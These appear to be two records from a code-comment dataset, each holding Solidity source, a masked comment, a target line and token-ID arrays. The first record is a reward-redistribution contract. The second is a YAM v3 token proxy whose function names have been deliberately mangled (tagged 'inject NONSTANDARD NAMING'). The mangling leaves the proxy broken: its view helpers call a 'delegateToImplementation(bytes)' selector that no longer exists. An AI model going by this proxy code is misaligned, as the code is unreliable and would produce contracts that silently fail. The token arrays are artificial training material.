return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale});
}
function mul_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Double memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / doubleScale;
}
function mul_(uint a, uint b) pure internal returns (uint) {
return mul_(a, b, "multiplication overflow");
}
function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
if (a == 0 || b == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)});
}
function div_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Exp memory b) pure internal returns (uint) {
return div_(mul_(a, expScale), b.mantissa);
}
function div_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)});
}
function div_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Double memory b) pure internal returns (uint) {
return div_(mul_(a, doubleScale), b.mantissa);
}
function div_(uint a, uint b) pure internal returns (uint) {
return div_(a, b, "divide by zero");
}
function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b > 0, errorMessage);
return a / b;
}
function fraction(uint a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a, doubleScale), b)});
}
}
interface Distributor {
// The asset to be distributed
function asset() external view returns (address);
// Return the accrued amount of account based on stored data
function accruedStored(address account) external view returns (uint);
// Accrue and distribute for caller, but not actually transfer assets to the caller
// returns the new accrued amount
function accrue() external returns (uint);
// Claim asset, transfer the given amount assets to receiver
function claim(address receiver, uint amount) external returns (uint);
}
contract Redistributor is Distributor, ExponentialNoError {
/**
* @notice The superior Distributor contract
*/
Distributor public superior;
// The accrued amount of this address in superior Distributor
uint public superiorAccruedAmount;
// The initial accrual index
uint internal constant initialAccruedIndex = 1e36;
// The last accrued block number
uint public accrualBlockNumber;
// The last accrued index
uint public globalAccruedIndex;
// Total count of shares.
uint internal totalShares;
struct AccountState {
/// @notice The share of account
uint share;
// The last accrued index of account
uint accruedIndex;
/// @notice The accrued but not yet transferred to account
uint accruedAmount;
}
// The AccountState for each account
mapping(address => AccountState) internal accountStates;
/*** Events ***/
// Emitted when dfl is accrued
event Accrued(uint amount, uint globalAccruedIndex);
// Emitted when distribute to a account
event Distributed(address account, uint amount, uint accruedIndex);
// Emitted when account claims asset
event Claimed(address account, address receiver, uint amount);
// Emitted when account transfer asset
event Transferred(address from, address to, uint amount);
constructor(Distributor superior_) public {
// set superior
superior = superior_;
// init accrued index
globalAccruedIndex = initialAccruedIndex;
}
function asset() external view returns (address) {
return superior.asset();
}
// Return the accrued amount of account based on stored data
function accruedStored(address account) external view returns(uint) {
uint storedGlobalAccruedIndex;
if (totalShares == 0) {
storedGlobalAccruedIndex = globalAccruedIndex;
} else {
uint superiorAccruedStored = superior.accruedStored(address(this));
uint delta = sub_(superiorAccruedStored, superiorAccruedAmount);
Double memory ratio = fraction(delta, totalShares);
Double memory doubleGlobalAccruedIndex = add_(Double({mantissa: globalAccruedIndex}), ratio);
storedGlobalAccruedIndex = doubleGlobalAccruedIndex.mantissa;
}
(, uint instantAccountAccruedAmount) = accruedStoredInternal(account, storedGlobalAccruedIndex);
return instantAccountAccruedAmount;
}
// Return the accrued amount of account based on stored data
function accruedStoredInternal(address account, uint withGlobalAccruedIndex) internal view returns(uint, uint) {
AccountState memory state = accountStates[account];
Double memory doubleGlobalAccruedIndex = Double({mantissa: withGlobalAccruedIndex});
Double memory doubleAccountAccruedIndex = Double({mantissa: state.accruedIndex});
if (doubleAccountAccruedIndex.mantissa == 0 && doubleGlobalAccruedIndex.mantissa > 0) {
doubleAccountAccruedIndex.mantissa = initialAccruedIndex;
}
Double memory deltaIndex = sub_(doubleGlobalAccruedIndex, doubleAccountAccruedIndex);
uint delta = mul_(state.share, deltaIndex);
return (delta, add_(state.accruedAmount, delta));
}
function accrueInternal() internal {
uint blockNumber = getBlockNumber();
if (accrualBlockNumber == blockNumber) {
return;
}
uint newSuperiorAccruedAmount = superior.accrue();
if (totalShares == 0) {
accrualBlockNumber = blockNumber;
return;
}
uint delta = sub_(newSuperiorAccruedAmount, superiorAccruedAmount);
Double memory ratio = fraction(delta, totalShares);
Double memory doubleAccruedIndex = add_(Double({mantissa: globalAccruedIndex}), ratio);
// update globalAccruedIndex
globalAccruedIndex = doubleAccruedIndex.mantissa;
superiorAccruedAmount = newSuperiorAccruedAmount;
accrualBlockNumber = blockNumber;
emit Accrued(delta, doubleAccruedIndex.mantissa);
}
/**
* @notice accrue and returns accrued stored of msg.sender
*/
function accrue() external returns (uint) {
accrueInternal();
(, uint instantAccountAccruedAmount) = accruedStoredInternal(msg.sender, globalAccruedIndex);
return instantAccountAccruedAmount;
}
function distributeInternal(address account) internal {
(uint delta, uint instantAccruedAmount) = accruedStoredInternal(account, globalAccruedIndex);
AccountState storage state = accountStates[account];
state.accruedIndex = globalAccruedIndex;
state.accruedAmount = instantAccruedAmount;
// emit Distributed event
emit Distributed(account, delta, globalAccruedIndex);
}
function claim(address receiver, uint amount) external returns (uint) {
address account = msg.sender;
// keep fresh
accrueInternal();
distributeInternal(account);
AccountState storage state = accountStates[account];
require(amount <= state.accruedAmount, "claim: insufficient value");
// claim from superior
require(superior.claim(receiver, amount) == amount, "claim: amount mismatch");
// update storage
state.accruedAmount = sub_(state.accruedAmount, amount);
superiorAccruedAmount = sub_(superiorAccruedAmount, amount);
emit Claimed(account, receiver, amount);
return amount;
}
function claimAll() external {
address account = msg.sender;
// accrue and distribute
accrueInternal();
distributeInternal(account);
AccountState storage state = accountStates[account];
uint amount = state.accruedAmount;
// claim from superior
require(superior.claim(account, amount) == amount, "claim: amount mismatch");
// update storage
state.accruedAmount = 0;
superiorAccruedAmount = sub_(superiorAccruedAmount, amount);
emit Claimed(account, account, amount);
}
function transfer(address to, uint amount) external {
address from = msg.sender;
// keep fresh
accrueInternal();
distributeInternal(from);
AccountState storage fromState = accountStates[from];
uint actualAmount = amount;
if (actualAmount == 0) {
actualAmount = fromState.accruedAmount;
}
require(fromState.accruedAmount >= actualAmount, "transfer: insufficient value");
AccountState storage toState = accountStates[to];
// update storage
fromState.accruedAmount = sub_(fromState.accruedAmount, actualAmount);
toState.accruedAmount = add_(toState.accruedAmount, actualAmount);
emit Transferred(from, to, actualAmount);
}
function getBlockNumber() public view returns (uint) {
return block.number;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PrivilegedRedistributor is Redistributor, Ownable {
/// @notice A list of all valid members
address[] public members;
/// @notice Emitted when members changed
event Changed(address[] newMembers, uint[] newPercentages);
constructor(Distributor superior_) Redistributor(superior_) public {}
function allMembers() external view returns (address[] memory, uint[] memory) {
address[] memory storedMembers = members;
uint[] memory percentages = new uint[](storedMembers.length);
for (uint i = 0; i < storedMembers.length; i++) {
percentages[i] = accountStates[storedMembers[i]].share;
}
return (storedMembers, percentages);
}
function memberState(address member) external view returns (uint, uint, uint) {
AccountState memory state = accountStates[member];
return (state.share, state.accruedIndex, state.accruedAmount);
}
/*** Admin Functions ***/
/**
* @notice Admin function to change members and their percentages
*/
function _setPercentages(uint[] calldata newPercentages) external onlyOwner {
uint sumNewPercentagesMantissa;
for (uint i = 0; i < newPercentages.length; i++) {
sumNewPercentagesMantissa = add_(sumNewPercentagesMantissa, newPercentages[i]);
}
// Check sum of new percentages equals 1
require(sumNewPercentagesMantissa == mantissaOne, "_setPercentages: bad sum");
// reference storage
address[] storage storedMembers = members;
require(storedMembers.length == newPercentages.length, "_setPercentages: bad length");
// accrue first
accrueInternal();
// distribute to members if its percentage changes
for (uint i = 0; i < storedMembers.length; i++) {
AccountState storage state = accountStates[storedMembers[i]];
distributeInternal(storedMembers[i]);
// set new percentage for member
state.share = newPercentages[i];
}
emit Changed(storedMembers, newPercentages);
}
/**
* @notice Admin function to change members and their percentages
*/
function _setMembers(address[] memory newMembers, uint[] memory newPercentages) public onlyOwner {
require(newMembers.length == newPercentages.length, "_setMembers: bad length");
uint sumNewPercentagesMantissa;
for (uint i = 0; i < newPercentages.length; i++) {
require(newPercentages[i] != 0, "_setMembers: bad percentage");
sumNewPercentagesMantissa = add_(sumNewPercentagesMantissa, newPercentages[i]);
}
// Check sum of new percentages equals 1
require(sumNewPercentagesMantissa == mantissaOne, "_setMembers: bad sum");
// accrue first
accrueInternal();
// distribute for old members
address[] storage storedMembers = members;
for (uint i = 0; i < storedMembers.length; i++) {
distributeInternal(storedMembers[i]);
AccountState storage state = accountStates[storedMembers[i]];
state.share = 0;
}
// clear old members
storedMembers.length = 0;
for (uint i = 0; i < newMembers.length; i++) {
AccountState storage state = accountStates[newMembers[i]];
accountStates[newMembers[i]] = AccountState({share: newPercentages[i], accruedIndex: globalAccruedIndex, accruedAmount: state.accruedAmount});
storedMembers.push(newMembers[i]);
}
totalShares = mantissaOne;
emit Changed(newMembers, newPercentages);
}
}
|
distribute for old members
|
address[] storage storedMembers = members;
| 10,159,141 |
[
1,
2251,
887,
364,
1592,
4833,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
1758,
8526,
2502,
4041,
6918,
273,
4833,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.15;
// YAM v3 Token Proxy
library safemath64 { //inject NONSTANDARD NAMING
function ADD91(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB43(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB43(a, b, "SafeMath: subtraction overflow");
}
function SUB43(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL53(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV50(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV50(a, b, "SafeMath: division by zero");
}
function DIV50(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD67(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD67(a, b, "SafeMath: modulo by zero");
}
function MOD67(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
// Storage for a YAM token
contract yamtokenstorage62 { //inject NONSTANDARD NAMING
using safemath64 for uint256;
bool internal _notEntered;
string public name;
string public symbol;
uint8 public decimals;
address public gov;
address public pendingGov;
address public rebaser;
address public migrator;
address public incentivizer;
uint256 public totalSupply;
uint256 public constant internaldecimals9 = 10**24; //inject NONSTANDARD NAMING
uint256 public constant base99 = 10**18; //inject NONSTANDARD NAMING
uint256 public yamsScalingFactor;
mapping (address => uint256) internal _yamBalances;
mapping (address => mapping (address => uint256)) internal _allowedFragments;
uint256 public initSupply;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant permit_typehash49 = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; //inject NONSTANDARD NAMING
bytes32 public DOMAIN_SEPARATOR;
}
contract yamgovernancestorage60 { //inject NONSTANDARD NAMING
mapping (address => address) internal _delegates;
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
mapping (address => uint32) public numCheckpoints;
bytes32 public constant domain_typehash51 = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); //inject NONSTANDARD NAMING
bytes32 public constant delegation_typehash89 = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); //inject NONSTANDARD NAMING
mapping (address => uint) public nonces;
}
contract yamtokeninterface94 is yamtokenstorage62, yamgovernancestorage60 { //inject NONSTANDARD NAMING
event DELEGATECHANGED94(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); //inject NONSTANDARD NAMING
event DELEGATEVOTESCHANGED9(address indexed delegate, uint previousBalance, uint newBalance); //inject NONSTANDARD NAMING
event REBASE47(uint256 epoch, uint256 prevYamsScalingFactor, uint256 newYamsScalingFactor); //inject NONSTANDARD NAMING
event NEWPENDINGGOV65(address oldPendingGov, address newPendingGov); //inject NONSTANDARD NAMING
event NEWGOV96(address oldGov, address newGov); //inject NONSTANDARD NAMING
event NEWREBASER58(address oldRebaser, address newRebaser); //inject NONSTANDARD NAMING
event NEWMIGRATOR62(address oldMigrator, address newMigrator); //inject NONSTANDARD NAMING
event NEWINCENTIVIZER48(address oldIncentivizer, address newIncentivizer); //inject NONSTANDARD NAMING
event TRANSFER90(address indexed from, address indexed to, uint amount); //inject NONSTANDARD NAMING
event APPROVAL77(address indexed owner, address indexed spender, uint amount); //inject NONSTANDARD NAMING
event MINT48(address to, uint256 amount); //inject NONSTANDARD NAMING
// Public functions
function TRANSFER1(address to, uint256 value) external returns(bool); //inject NONSTANDARD NAMING
function TRANSFERFROM54(address from, address to, uint256 value) external returns(bool); //inject NONSTANDARD NAMING
function BALANCEOF41(address who) external view returns(uint256); //inject NONSTANDARD NAMING
function BALANCEOFUNDERLYING78(address who) external view returns(uint256); //inject NONSTANDARD NAMING
function ALLOWANCE40(address owner_, address spender) external view returns(uint256); //inject NONSTANDARD NAMING
function APPROVE79(address spender, uint256 value) external returns (bool); //inject NONSTANDARD NAMING
function INCREASEALLOWANCE13(address spender, uint256 addedValue) external returns (bool); //inject NONSTANDARD NAMING
function DECREASEALLOWANCE37(address spender, uint256 subtractedValue) external returns (bool); //inject NONSTANDARD NAMING
function MAXSCALINGFACTOR18() external view returns (uint256); //inject NONSTANDARD NAMING
function YAMTOFRAGMENT82(uint256 yam) external view returns (uint256); //inject NONSTANDARD NAMING
function FRAGMENTTOYAM47(uint256 value) external view returns (uint256); //inject NONSTANDARD NAMING
function GETPRIORVOTES37(address account, uint blockNumber) external view returns (uint256); //inject NONSTANDARD NAMING
function DELEGATEBYSIG44(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external; //inject NONSTANDARD NAMING
function DELEGATE51(address delegatee) external; //inject NONSTANDARD NAMING
function DELEGATES8(address delegator) external view returns (address); //inject NONSTANDARD NAMING
function GETCURRENTVOTES74(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function MINT4(address to, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function REBASE13(uint256 epoch, uint256 indexDelta, bool positive) external returns (uint256); //inject NONSTANDARD NAMING
function _SETREBASER91(address rebaser_) external; //inject NONSTANDARD NAMING
function _SETINCENTIVIZER31(address incentivizer_) external; //inject NONSTANDARD NAMING
function _SETPENDINGGOV72(address pendingGov_) external; //inject NONSTANDARD NAMING
function _ACCEPTGOV39() external; //inject NONSTANDARD NAMING
}
contract yamdelegationstorage25 { //inject NONSTANDARD NAMING
address public implementation;
}
contract yamdelegatorinterface45 is yamdelegationstorage25 { //inject NONSTANDARD NAMING
event NEWIMPLEMENTATION52(address oldImplementation, address newImplementation); //inject NONSTANDARD NAMING
function _SETIMPLEMENTATION59(address implementation_, bool allowResign, bytes memory becomeImplementationData) public; //inject NONSTANDARD NAMING
}
contract yamdelegator11 is yamtokeninterface94, yamdelegatorinterface45 { //inject NONSTANDARD NAMING
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 initTotalSupply_,
address implementation_,
bytes memory becomeImplementationData
)
public
{
// Creator of the contract is gov during initialization
gov = msg.sender;
// First delegate gets to initialize the delegator (i.e. storage contract)
DELEGATETO59(
implementation_,
abi.encodeWithSignature(
"initialize(string,string,uint8,address,uint256)",
name_,
symbol_,
decimals_,
msg.sender,
initTotalSupply_
)
);
// New implementations always get set via the settor (post-initialize)
_SETIMPLEMENTATION59(implementation_, false, becomeImplementationData);
}
function _SETIMPLEMENTATION59(address implementation_, bool allowResign, bytes memory becomeImplementationData) public { //inject NONSTANDARD NAMING
require(msg.sender == gov, "YAMDelegator::_setImplementation: Caller must be gov");
if (allowResign) {
DELEGATETOIMPLEMENTATION54(abi.encodeWithSignature("_resignImplementation()"));
}
address oldImplementation = implementation;
implementation = implementation_;
DELEGATETOIMPLEMENTATION54(abi.encodeWithSignature("_becomeImplementation(bytes)", becomeImplementationData));
emit NEWIMPLEMENTATION52(oldImplementation, implementation);
}
function MINT4(address to, uint256 mintAmount) //inject NONSTANDARD NAMING
external
returns (bool)
{
to; mintAmount; // Shh
DELEGATEANDRETURN53();
}
function TRANSFER1(address dst, uint256 amount) //inject NONSTANDARD NAMING
external
returns (bool)
{
dst; amount; // Shh
DELEGATEANDRETURN53();
}
function TRANSFERFROM54( //inject NONSTANDARD NAMING
address src,
address dst,
uint256 amount
)
external
returns (bool)
{
src; dst; amount; // Shh
DELEGATEANDRETURN53();
}
function APPROVE79( //inject NONSTANDARD NAMING
address spender,
uint256 amount
)
external
returns (bool)
{
spender; amount; // Shh
DELEGATEANDRETURN53();
}
function INCREASEALLOWANCE13( //inject NONSTANDARD NAMING
address spender,
uint256 addedValue
)
external
returns (bool)
{
spender; addedValue; // Shh
DELEGATEANDRETURN53();
}
function MAXSCALINGFACTOR18() //inject NONSTANDARD NAMING
external
view
returns (uint256)
{
DELEGATETOVIEWANDRETURN42();
}
function REBASE13( //inject NONSTANDARD NAMING
uint256 epoch,
uint256 indexDelta,
bool positive
)
external
returns (uint256)
{
epoch; indexDelta; positive;
DELEGATEANDRETURN53();
}
function DECREASEALLOWANCE37( //inject NONSTANDARD NAMING
address spender,
uint256 subtractedValue
)
external
returns (bool)
{
spender; subtractedValue; // Shh
DELEGATEANDRETURN53();
}
// --- Approve by signature ---
function PERMIT89( //inject NONSTANDARD NAMING
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
owner; spender; value; deadline; v; r; s; // Shh
DELEGATEANDRETURN53();
}
function ALLOWANCE40( //inject NONSTANDARD NAMING
address owner,
address spender
)
external
view
returns (uint256)
{
owner; spender; // Shh
DELEGATETOVIEWANDRETURN42();
}
function RESCUETOKENS5( //inject NONSTANDARD NAMING
address token,
address to,
uint256 amount
)
external
returns (bool)
{
token; to; amount; // Shh
DELEGATEANDRETURN53();
}
function DELEGATES8( //inject NONSTANDARD NAMING
address delegator
)
external
view
returns (address)
{
delegator; // Shh
DELEGATETOVIEWANDRETURN42();
}
function BALANCEOF41(address owner) //inject NONSTANDARD NAMING
external
view
returns (uint256)
{
owner; // Shh
DELEGATETOVIEWANDRETURN42();
}
function BALANCEOFUNDERLYING78(address owner) //inject NONSTANDARD NAMING
external
view
returns (uint256)
{
owner; // Shh
DELEGATETOVIEWANDRETURN42();
}
function _SETPENDINGGOV72(address newPendingGov) //inject NONSTANDARD NAMING
external
{
newPendingGov; // Shh
DELEGATEANDRETURN53();
}
function _SETREBASER91(address rebaser_) //inject NONSTANDARD NAMING
external
{
rebaser_; // Shh
DELEGATEANDRETURN53();
}
function _SETINCENTIVIZER31(address incentivizer_) //inject NONSTANDARD NAMING
external
{
incentivizer_; // Shh
DELEGATEANDRETURN53();
}
function _SETMIGRATOR24(address migrator_) //inject NONSTANDARD NAMING
external
{
migrator_; // Shh
DELEGATEANDRETURN53();
}
function _ACCEPTGOV39() //inject NONSTANDARD NAMING
external
{
DELEGATEANDRETURN53();
}
function GETPRIORVOTES37(address account, uint blockNumber) //inject NONSTANDARD NAMING
external
view
returns (uint256)
{
account; blockNumber;
DELEGATETOVIEWANDRETURN42();
}
function DELEGATEBYSIG44( //inject NONSTANDARD NAMING
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
delegatee; nonce; expiry; v; r; s;
DELEGATEANDRETURN53();
}
function DELEGATE51(address delegatee) //inject NONSTANDARD NAMING
external
{
delegatee;
DELEGATEANDRETURN53();
}
function GETCURRENTVOTES74(address account) //inject NONSTANDARD NAMING
external
view
returns (uint256)
{
account;
DELEGATETOVIEWANDRETURN42();
}
function YAMTOFRAGMENT82(uint256 yam) //inject NONSTANDARD NAMING
external
view
returns (uint256)
{
yam;
DELEGATETOVIEWANDRETURN42();
}
function FRAGMENTTOYAM47(uint256 value) //inject NONSTANDARD NAMING
external
view
returns (uint256)
{
value;
DELEGATETOVIEWANDRETURN42();
}
function DELEGATETO59(address callee, bytes memory data) internal returns (bytes memory) { //inject NONSTANDARD NAMING
(bool success, bytes memory returnData) = callee.delegatecall(data);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return returnData;
}
function DELEGATETOIMPLEMENTATION54(bytes memory data) public returns (bytes memory) { //inject NONSTANDARD NAMING
return DELEGATETO59(implementation, data);
}
function DELEGATETOVIEWIMPLEMENTATION43(bytes memory data) public view returns (bytes memory) { //inject NONSTANDARD NAMING
(bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data));
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return abi.decode(returnData, (bytes));
}
function DELEGATETOVIEWANDRETURN42() private view returns (bytes memory) { //inject NONSTANDARD NAMING
(bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data));
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(add(free_mem_ptr, 0x40), sub(returndatasize, 0x40)) }
}
}
function DELEGATEANDRETURN53() private returns (bytes memory) { //inject NONSTANDARD NAMING
(bool success, ) = implementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(free_mem_ptr, returndatasize) }
}
}
function() external payable {
require(msg.value == 0,"YAMDelegator:fallback: cannot send value to fallback");
// delegate all other functions to current implementation
DELEGATEANDRETURN53();
}
}
|
inject NONSTANDARD NAMING
|
event MINT48(address to, uint256 amount);
| 5,400,637 |
[
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
871,
490,
3217,
8875,
12,
2867,
358,
16,
2254,
5034,
3844,
1769,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
